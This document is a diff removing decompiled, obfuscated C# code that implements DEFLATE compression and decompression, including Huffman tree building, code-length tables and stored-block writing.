- catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num5; - \u0014.\u0016 obj = obj0; - \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); - throw; - } - } - } - - internal sealed class \u0019 - { - private static readonly int[] \u0001; - private static readonly int[] \u0002; - private byte[] \u0003; - private byte[] \u0004; - private \u0014.\u0018 \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private int \u000F; - private int \u0010; - private byte \u0011; - private int \u0012; - private static readonly int[] \u0013; - - public \u0019() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public bool \u0015\u0002([In] \u0014.\u0016 obj0) - { - int num1; - int num2; - int num3; - byte num4; - int num5; - int num6; - try - { - while (true) - { - num2 = this.\u0006; - switch (num2) - { - case 0: - this.\u0007 = obj0.\u0017\u0002(5); - if (this.\u0007 >= 0) - { - this.\u0007 += 257; - obj0.\u0018\u0002(5); - this.\u0006 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0008 = obj0.\u0017\u0002(5); - if (this.\u0008 >= 0) - { - ++this.\u0008; - obj0.\u0018\u0002(5); - this.\u000F = this.\u0007 + this.\u0008; - this.\u0004 = new byte[(int) checked ((uint) this.\u000F)]; - this.\u0006 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u000E = obj0.\u0017\u0002(4); - if (this.\u000E >= 0) - { - this.\u000E += 4; - obj0.\u0018\u0002(4); - this.\u0003 = new byte[19]; - this.\u0012 = 0; - this.\u0006 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0012 < this.\u000E; ++this.\u0012) - { - num1 = obj0.\u0017\u0002(3); - if (num1 < 0) - return false; - obj0.\u0018\u0002(3); - this.\u0003[\u0014.\u0019.\u0013[this.\u0012]] = (byte) num1; - } - this.\u0005 = new \u0014.\u0018(this.\u0003); - this.\u0003 = (byte[]) null; - this.\u0012 = 0; - this.\u0006 = 4; - goto case 4; - case 4: - while (((num3 = this.\u0005.\u0089\u0002(obj0)) & -16) == 0) - { - byte[] numArray = this.\u0004; - num2 = this.\u0012++; - int index = num2; - this.\u0011 = num4 = (byte) num3; - int num7 = (int) num4; - numArray[index] = (byte) num7; - if (this.\u0012 == this.\u000F) - return true; - } - if (num3 >= 0) - { - if (num3 >= 17) - this.\u0011 = (byte) 0; - this.\u0010 = num3 - 16; - this.\u0006 = 5; - goto case 5; - } - else - goto label_19; - case 5: - num5 = \u0014.\u0019.\u0002[this.\u0010]; - num6 = obj0.\u0017\u0002(num5); - if (num6 >= 0) - { - obj0.\u0018\u0002(num5); - num6 += \u0014.\u0019.\u0001[this.\u0010]; - while (num6-- > 0) - { - byte[] numArray = this.\u0004; - num2 = this.\u0012++; - int index = num2; - int num8 = (int) this.\u0011; - numArray[index] = (byte) num8; - } - if (this.\u0012 != this.\u000F) - { - this.\u0006 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num5; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num6; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num4; - \u0014.\u0016 obj = obj0; - \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); - throw; - } - } - - public \u0014.\u0018 \u008A\u0002() - { - byte[] destinationArray; - try - { - destinationArray = new byte[(int) checked ((uint) this.\u0007)]; - Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007); - return new \u0014.\u0018(destinationArray); - } - catch (Exception ex) - { - byte[] numArray = destinationArray; - \u0089\u0004.\u0019\u0005(ex, (object) numArray, (object) this); - throw; - } - } - - public \u0014.\u0018 \u008B\u0002() - { - byte[] destinationArray; - try - { - destinationArray = new byte[(int) checked ((uint) this.\u0008)]; - Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008); - return new \u0014.\u0018(destinationArray); - } - catch (Exception ex) - { - byte[] numArray = destinationArray; - \u0089\u0004.\u0019\u0005(ex, (object) numArray, (object) this); - throw; - } - } - - static \u0019() - { - try - { - \u0014.\u0019.\u0001 = new int[3] - { - 3, - 3, - 11 - }; - \u0014.\u0019.\u0002 = new int[3]{ 2, 3, 7 }; - \u0014.\u0019.\u0013 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - } - - internal sealed class \u001A - { - private int \u0001 = 16; - private long \u0002 = 0; - private \u0014.\u001E \u0003; - private \u0014.\u001D \u0004; - - public \u001A() - { - try - { - this.\u0003 = new \u0014.\u001E(); - this.\u0004 = new \u0014.\u001D(this.\u0003); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [SpecialName] - public long \u008C\u0002() - { - try - { - return this.\u0002; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void \u008D\u0002() - { - try - { - this.\u0001 |= 12; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [SpecialName] - public bool \u008E\u0002() - { - try - { - return this.\u0001 == 30 && this.\u0003.\u0014\u0003(); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [SpecialName] - public bool \u001C\u0002() - { - try - { - return this.\u0004.\u000E\u0003(); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void \u001F\u0002([In] byte[] obj0) - { - try - { - this.\u0004.\u001F\u0002(obj0); - } - catch (Exception ex) - { - byte[] numArray = obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray); - throw; - } - } - - public int \u008F\u0002([In] byte[] obj0) - { - int length; - int num1; - int num2; - int num3; - int num4; - try - { - num2 = 0; - length = obj0.Length; - num1 = length; - while (true) - { - do - { - do - { - num3 = this.\u0003.\u0015\u0003(obj0, num2, length); - num2 += num3; - this.\u0002 += (long) num3; - length -= num3; - if (length == 0 || this.\u0001 == 30) - goto label_12; - } - while (this.\u0004.\u008F\u0002((this.\u0001 & 4) != 0, (this.\u0001 & 8) != 0)); - if (this.\u0001 == 16) - return num1 - length; - if (this.\u0001 == 20) - { - for (num4 = 8 + (-this.\u0003.\u0011\u0003() & 7); num4 > 0; num4 -= 10) - this.\u0003.\u0013\u0003(2, 10); - this.\u0001 = 16; - } - } - while (this.\u0001 != 28); - this.\u0003.\u0012\u0003(); - this.\u0001 = 30; - } -label_12: - return num1 - length; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) length; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - byte[] numArray = obj0; - \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) numArray); - throw; - } - } - } - - internal sealed class \u001B - { - private static readonly int[] \u0001; - private static readonly byte[] \u0002; - private \u0014.\u001E \u0003; - private \u0014.\u001B.\u001C \u0004; - private \u0014.\u001B.\u001C \u0005; - private \u0014.\u001B.\u001C \u0006; - private short[] \u0007; - private byte[] \u0008; - private int \u000E; - private int \u000F; - private static readonly short[] \u0010; - private static readonly byte[] \u0011; - private static readonly short[] \u0012; - private static readonly byte[] \u0013; - - public static short \u0090\u0002([In] int obj0) - { - try - { - return (short) ((int) \u0014.\u001B.\u0002[obj0 & 15] << 12 | (int) \u0014.\u001B.\u0002[obj0 >> 4 & 15] << 8 | (int) \u0014.\u001B.\u0002[obj0 >> 8 & 15] << 4 | (int) \u0014.\u001B.\u0002[obj0 >> 12]); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - \u0089\u0004.\u0018\u0005(ex, (object) local); - throw; - } - } - - static \u001B() - { - int index; - try - { - \u0014.\u001B.\u0001 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - \u0014.\u001B.\u0002 = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - \u0014.\u001B.\u0010 = new short[286]; - \u0014.\u001B.\u0011 = new byte[286]; - for (index = 0; index < 144; \u0014.\u001B.\u0011[index++] = (byte) 8) - \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(48 + index << 8); - for (; index < 256; \u0014.\u001B.\u0011[index++] = (byte) 9) - \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(256 + index << 7); - for (; index < 280; \u0014.\u001B.\u0011[index++] = (byte) 7) - \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(index - 256 << 9); - for (; index < 286; \u0014.\u001B.\u0011[index++] = (byte) 8) - \u0014.\u001B.\u0010[index] = \u0014.\u001B.\u0090\u0002(index - 88 << 8); - \u0014.\u001B.\u0012 = new short[30]; - \u0014.\u001B.\u0013 = new byte[30]; - for (index = 0; index < 30; ++index) - { - \u0014.\u001B.\u0012[index] = \u0014.\u001B.\u0090\u0002(index << 11); - \u0014.\u001B.\u0013[index] = (byte) 5; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) index; - \u0089\u0004.\u0018\u0005(ex, (object) local); - throw; - } - } - - public \u001B([In] \u0014.\u001E obj0) - { - try - { - this.\u0003 = obj0; - this.\u0004 = new \u0014.\u001B.\u001C(this, 286, 257, 15); - this.\u0005 = new \u0014.\u001B.\u001C(this, 30, 1, 15); - this.\u0006 = new \u0014.\u001B.\u001C(this, 19, 4, 7); - this.\u0007 = new short[16384]; - this.\u0008 = new byte[16384]; - } - catch (Exception ex) - { - \u0014.\u001E obj = obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) obj); - throw; - } - } - - public void \u0091\u0002() - { - try - { - this.\u000E = 0; - this.\u000F = 0; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - private int \u0092\u0002([In] int obj0) - { - int num; - try - { - if (obj0 == (int) byte.MaxValue) - return 285; - num = 257; - for (; obj0 >= 8; obj0 >>= 1) - num += 4; - return num + obj0; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - private int \u0093\u0002([In] int obj0) - { - int num1; - try - { - if (true) - goto label_4; -label_2: - for (; obj0 >= 4; obj0 >>= 1) - { - int num2 = num1 + 2; - if (false) - continue; - num1 = num2; - } - return num1 + obj0; -label_4: - num1 = 0; - goto label_2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - public void \u0094\u0002([In] int obj0) - { - int index; - try - { - this.\u0006.\u009D\u0002(); - this.\u0004.\u009D\u0002(); - this.\u0005.\u009D\u0002(); - this.\u0003.\u0013\u0003(this.\u0004.\u0004 - 257, 5); - this.\u0003.\u0013\u0003(this.\u0005.\u0004 - 1, 5); - this.\u0003.\u0013\u0003(obj0 - 4, 4); - for (index = 0; index < obj0; ++index) - this.\u0003.\u0013\u0003((int) this.\u0006.\u0002[\u0014.\u001B.\u0001[index]], 3); - this.\u0004.\u0002\u0003(this.\u0006); - this.\u0005.\u0002\u0003(this.\u0006); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - public void \u0095\u0002() - { - int num1; - int index; - int num2; - int num3; - int num4; - int num5; - try - { - if (true) - goto label_9; -label_7: - for (; index < this.\u000E; ++index) - { - num1 = (int) this.\u0008[index] & (int) byte.MaxValue; - num2 = (int) this.\u0007[index]; - if (num2-- != 0) - { - num3 = this.\u0092\u0002(num1); - this.\u0004.\u009B\u0002(num3); - num4 = (num3 - 261) / 4; - if (num4 > 0 && num4 <= 5) - this.\u0003.\u0013\u0003(num1 & (1 << num4) - 1, num4); - num5 = this.\u0093\u0002(num2); - this.\u0005.\u009B\u0002(num5); - num4 = num5 / 2 - 1; - if (num4 > 0) - this.\u0003.\u0013\u0003(num2 & (1 << num4) - 1, num4); - } - else - this.\u0004.\u009B\u0002(num1); - } - this.\u0004.\u009B\u0002(256); - return; -label_9: - index = 0; - goto label_7; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num5; - \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this); - throw; - } - } - - public void \u0096\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3) - { - try - { - this.\u0003.\u0013\u0003(obj3 ? 1 : 0, 3); - this.\u0003.\u0012\u0003(); - this.\u0003.\u000F\u0003(obj2); - this.\u0003.\u000F\u0003(~obj2); - this.\u0003.\u0010\u0003(obj0, obj1, obj2); - this.\u0091\u0002(); - } - catch (Exception ex) - { - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj3; - \u0089\u0004.\u001C\u0005(ex, (object) this, (object) numArray, (object) local1, (object) local2, (object) local3); - throw; - } - } - - public void \u0097\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3) - { - int num1; - int index1; - int num2; - int num3; - int index2; - int index3; - short[] numArray; - try - { - (numArray = this.\u0004.\u0001)[256] = (short) ((int) numArray[256] + 1); - this.\u0004.\u0088\u0002(); - this.\u0005.\u0088\u0002(); - this.\u0004.\u0001\u0003(this.\u0006); - this.\u0005.\u0001\u0003(this.\u0006); - this.\u0006.\u0088\u0002(); - num1 = 4; - for (index1 = 18; index1 > num1; --index1) - { - if (this.\u0006.\u0002[\u0014.\u001B.\u0001[index1]] > (byte) 0) - num1 = index1 + 1; - } - num2 = 14 + num1 * 3 + this.\u0006.\u009F\u0002() + this.\u0004.\u009F\u0002() + this.\u0005.\u009F\u0002() + this.\u000F; - num3 = this.\u000F; - for (index2 = 0; index2 < 286; ++index2) - num3 += (int) this.\u0004.\u0001[index2] * (int) \u0014.\u001B.\u0011[index2]; - for (index3 = 0; index3 < 30; ++index3) - num3 += (int) this.\u0005.\u0001[index3] * (int) \u0014.\u001B.\u0013[index3]; - if (num2 >= num3) - num2 = num3; - if (obj1 >= 0 && obj2 + 4 < num2 >> 3) - this.\u0096\u0002(obj0, obj1, obj2, obj3); - else if (num2 == num3) - { - this.\u0003.\u0013\u0003(2 + (obj3 ? 1 : 0), 3); - this.\u0004.\u009C\u0002(\u0014.\u001B.\u0010, \u0014.\u001B.\u0011); - this.\u0005.\u009C\u0002(\u0014.\u001B.\u0012, \u0014.\u001B.\u0013); - this.\u0095\u0002(); - this.\u0091\u0002(); - } - else - { - this.\u0003.\u0013\u0003(4 + (obj3 ? 1 : 0), 3); - this.\u0094\u0002(num1); - this.\u0095\u0002(); - this.\u0091\u0002(); - } - } - catch (Exception ex) - { - object[] objArray = new object[12] - { - (object) num1, - (object) index1, - (object) num2, - (object) num3, - (object) index2, - (object) index3, - (object) numArray, - (object) this, - (object) obj0, - (object) obj1, - (object) obj2, - (object) obj3 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - public bool \u0098\u0002() - { - try - { - return this.\u000E >= 16384; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public bool \u0099\u0002([In] int obj0) - { - int num1; - short[] numArray1; - IntPtr index1; - try - { - this.\u0007[this.\u000E] = (short) 0; - byte[] numArray2 = this.\u0008; - num1 = this.\u000E++; - int index2 = num1; - int num2 = (int) (byte) obj0; - numArray2[index2] = (byte) num2; - (numArray1 = this.\u0004.\u0001)[(int) (index1 = (IntPtr) obj0)] = (short) ((int) numArray1[index1] + 1); - return this.\u0098\u0002(); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - short[] numArray3 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) numArray3, (object) local2, (object) this, (object) local3); - throw; - } - } - - public bool \u009A\u0002([In] int obj0, [In] int obj1) - { - int num1; - int num2; - short[] numArray1; - IntPtr index1; - int num3; - try - { - this.\u0007[this.\u000E] = (short) obj0; - byte[] numArray2 = this.\u0008; - num1 = this.\u000E++; - int index2 = num1; - int num4 = (int) (byte) (obj1 - 3); - numArray2[index2] = (byte) num4; - num2 = this.\u0092\u0002(obj1 - 3); - (numArray1 = this.\u0004.\u0001)[(int) (index1 = (IntPtr) num2)] = (short) ((int) numArray1[index1] + 1); - if (num2 >= 265 && num2 < 285) - this.\u000F += (num2 - 261) / 4; - num3 = this.\u0093\u0002(obj0 - 1); - (numArray1 = this.\u0005.\u0001)[(int) (index1 = (IntPtr) num3)] = (short) ((int) numArray1[index1] + 1); - if (num3 >= 4) - this.\u000F += num3 / 2 - 1; - return this.\u0098\u0002(); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num1; - short[] numArray3 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) obj1; - \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) numArray3, (object) local4, (object) this, (object) local5, (object) local6); - throw; - } - } - - public sealed class \u001C - { - public short[] \u0001; - public byte[] \u0002; - public int \u0003; - public int \u0004; - private short[] \u0005; - private int[] \u0006; - private int \u0007; - private \u0014.\u001B \u0008; - - public \u001C([In] \u0014.\u001B obj0, [In] int obj1, [In] int obj2, [In] int obj3) - { - try - { - this.\u0008 = obj0; - this.\u0003 = obj2; - this.\u0007 = obj3; - this.\u0001 = new short[(int) checked ((uint) obj1)]; - this.\u0006 = new int[(int) checked ((uint) obj3)]; - } - catch (Exception ex) - { - \u0014.\u001B obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj3; - \u0089\u0004.\u001C\u0005(ex, (object) this, (object) obj, (object) local1, (object) local2, (object) local3); - throw; - } - } - - public void \u009B\u0002([In] int obj0) - { - try - { - this.\u0008.\u0003.\u0013\u0003((int) this.\u0005[obj0] & (int) ushort.MaxValue, (int) this.\u0002[obj0]); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local); - throw; - } - } - - public void \u009C\u0002([In] short[] obj0, [In] byte[] obj1) - { - try - { - this.\u0005 = obj0; - this.\u0002 = obj1; - } - catch (Exception ex) - { - short[] numArray1 = obj0; - byte[] numArray2 = obj1; - \u0089\u0004.\u001A\u0005(ex, (object) this, (object) numArray1, (object) numArray2); - throw; - } - } - - public void \u009D\u0002() - { - int num1; - int index1; - int[] numArray1; - int index2; - int num2; - int[] numArray2; - IntPtr index3; - try - { - int length = this.\u0001.Length; - int[] numArray3 = new int[(int) checked ((uint) this.\u0007)]; - if (true) - goto label_10; -label_1: - num1 = 0; - this.\u0005 = new short[(int) checked ((uint) this.\u0001.Length)]; - for (index1 = 0; index1 < this.\u0007; ++index1) - { - numArray1[index1] = num1; - num1 += this.\u0006[index1] << 15 - index1; - } - for (index2 = 0; index2 < this.\u0004; ++index2) - { - num2 = (int) this.\u0002[index2]; - if (num2 > 0) - { - this.\u0005[index2] = \u0014.\u001B.\u0090\u0002(numArray1[num2 - 1]); - (numArray2 = numArray1)[(int) (index3 = (IntPtr) (num2 - 1))] = numArray2[index3] + (1 << 16 - num2); - } - } - return; -label_10: - numArray1 = numArray3; - goto label_1; - } - catch (Exception ex) - { - int[] numArray4 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) index2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num2; - int[] numArray5 = numArray2; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) index3; - \u0089\u0004.\u001F\u0005(ex, (object) numArray4, (object) local1, (object) local2, (object) local3, (object) local4, (object) numArray5, (object) local5, (object) this); - throw; - } - } - - private void \u009E\u0002([In] int[] obj0) - { - int length; - int num1; - int num2; - int index1; - int[] numArray1; - int index2; - int num3; - int num4; - int num5; - int[] numArray2; - IntPtr index3; - int num6; - int num7; - int num8; - int num9; - int index4; - try - { - this.\u0002 = new byte[(int) checked ((uint) this.\u0001.Length)]; - length = obj0.Length / 2; - num1 = (length + 1) / 2; - num2 = 0; - for (index1 = 0; index1 < this.\u0007; ++index1) - this.\u0006[index1] = 0; - numArray1 = new int[(int) checked ((uint) length)]; - numArray1[length - 1] = 0; - for (index2 = length - 1; index2 >= 0; --index2) - { - if (obj0[2 * index2 + 1] != -1) - { - num3 = numArray1[index2] + 1; - if (num3 > this.\u0007) - { - num3 = this.\u0007; - ++num2; - } - int[] numArray3 = numArray1; - int index5 = obj0[2 * index2]; - numArray1[obj0[2 * index2 + 1]] = num4 = num3; - int num10 = num4; - numArray3[index5] = num10; - } - else - { - num5 = numArray1[index2]; - (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) (num5 - 1))] = numArray2[index3] + 1; - this.\u0002[obj0[2 * index2]] = (byte) numArray1[index2]; - } - } - if (num2 == 0) - return; - num6 = this.\u0007 - 1; - do - { - do - ; - while (this.\u0006[--num6] == 0); - do - { - (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) num6)] = numArray2[index3] - 1; - int[] numArray4; - numArray2 = numArray4 = this.\u0006; - int index6; - num6 = index6 = num6 + 1; - index3 = (IntPtr) index6; - int num11 = numArray2[index3] + 1; - numArray4[index6] = num11; - num2 -= 1 << this.\u0007 - 1 - num6; - } - while (num2 > 0 && num6 < this.\u0007 - 1); - } - while (num2 > 0); - (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) (this.\u0007 - 1))] = numArray2[index3] + num2; - (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) (this.\u0007 - 2))] = numArray2[index3] - num2; - num7 = 2 * num1; - for (num8 = this.\u0007; num8 != 0; --num8) - { - num9 = this.\u0006[num8 - 1]; - while (num9 > 0) - { - index4 = 2 * obj0[num7++]; - if (obj0[index4 + 1] == -1) - { - this.\u0002[obj0[index4]] = (byte) num8; - --num9; - } - } - } - } - catch (Exception ex) - { - object[] objArray = new object[18] - { - (object) length, - (object) num1, - (object) num2, - (object) index1, - (object) numArray1, - (object) index2, - (object) num3, - (object) num5, - (object) num6, - (object) num7, - (object) num8, - (object) num9, - (object) index4, - (object) num4, - (object) numArray2, - (object) index3, - (object) this, - (object) obj0 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - public void \u0088\u0002() - { - int[] numArray1; - int num1; - int num2; - int index1; - int num3; - int index2; - int index3; - int length; - int num4; - int num5; - int[] numArray2; - int[] numArray3; - int num6; - int index4; - int index5; - int index6; - int index7; - int index8; - int index9; - int num7; - int index10; - int num8; - try - { - length = this.\u0001.Length; - numArray1 = new int[(int) checked ((uint) length)]; - num1 = 0; - num2 = 0; - for (index1 = 0; index1 < length; ++index1) - { - num3 = (int) this.\u0001[index1]; - if (num3 != 0) - { - for (index2 = num1++; index2 > 0 && (int) this.\u0001[numArray1[index3 = (index2 - 1) / 2]] > num3; index2 = index3) - numArray1[index2] = numArray1[index3]; - numArray1[index2] = index1; - num2 = index1; - } - } - for (; num1 < 2; numArray1[num1++] = num4) - { - int num9; - if (num2 >= 2) - num9 = 0; - else - num2 = num9 = num2 + 1; - num4 = num9; - } - this.\u0004 = Math.Max(num2 + 1, this.\u0003); - num5 = num1; - numArray2 = new int[(int) checked ((uint) unchecked (4 * num1 - 2))]; - numArray3 = new int[(int) checked ((uint) unchecked (2 * num1 - 1))]; - num6 = num5; - for (index4 = 0; index4 < num1; ++index4) - { - index5 = numArray1[index4]; - numArray2[2 * index4] = index5; - numArray2[2 * index4 + 1] = -1; - numArray3[index4] = (int) this.\u0001[index5] << 8; - numArray1[index4] = index4; - } - do - { - index6 = numArray1[0]; - index7 = numArray1[--num1]; - index8 = 0; - for (index9 = 1; index9 < num1; index9 = index9 * 2 + 1) - { - if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]]) - ++index9; - numArray1[index8] = numArray1[index9]; - index8 = index9; - } - num7 = numArray3[index7]; - while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7) - numArray1[index9] = numArray1[index8]; - numArray1[index9] = index7; - index10 = numArray1[0]; - index7 = num6++; - numArray2[2 * index7] = index6; - numArray2[2 * index7 + 1] = index10; - num8 = Math.Min(numArray3[index6] & (int) byte.MaxValue, numArray3[index10] & (int) byte.MaxValue); - numArray3[index7] = num7 = numArray3[index6] + numArray3[index10] - num8 + 1; - index8 = 0; - for (index9 = 1; index9 < num1; index9 = index8 * 2 + 1) - { - if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]]) - ++index9; - numArray1[index8] = numArray1[index9]; - index8 = index9; - } - while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7) - numArray1[index9] = numArray1[index8]; - numArray1[index9] = index7; - } - while (num1 > 1); - this.\u009E\u0002(numArray2); - } - catch (Exception ex) - { - object[] objArray = new object[23] - { - (object) length, - (object) numArray1, - (object) num1, - (object) num2, - (object) index1, - (object) num3, - (object) index2, - (object) index3, - (object) num4, - (object) num5, - (object) numArray2, - (object) numArray3, - (object) num6, - (object) index4, - (object) index5, - (object) index6, - (object) index7, - (object) index8, - (object) index9, - (object) num7, - (object) index10, - (object) num8, - (object) this - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - public int \u009F\u0002() - { - int index; - int num; - try - { - num = 0; - for (index = 0; index < this.\u0001.Length; ++index) - num += (int) this.\u0001[index] * (int) this.\u0002[index]; - return num; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this); - throw; - } - } - - public void \u0001\u0003([In] \u0014.\u001B.\u001C obj0) - { - int index1; - int num1; - int num2; - int num3; - int num4; - short[] numArray1; - IntPtr index2; - int num5; - try - { - num4 = -1; - if (true) - goto label_17; -label_15: - while (index1 < this.\u0004) - { - num5 = 1; - num1 = (int) this.\u0002[index1]; - if (num1 == 0) - { - num2 = 138; - num3 = 3; - } - else - { - num2 = 6; - num3 = 3; - if (num4 != num1) - { - (numArray1 = obj0.\u0001)[(int) (index2 = (IntPtr) num1)] = (short) ((int) numArray1[index2] + 1); - num5 = 0; - } - } - num4 = num1; - ++index1; - while (index1 < this.\u0004 && num4 == (int) this.\u0002[index1]) - { - ++index1; - if (++num5 >= num2) - break; - } - if (num5 < num3) - 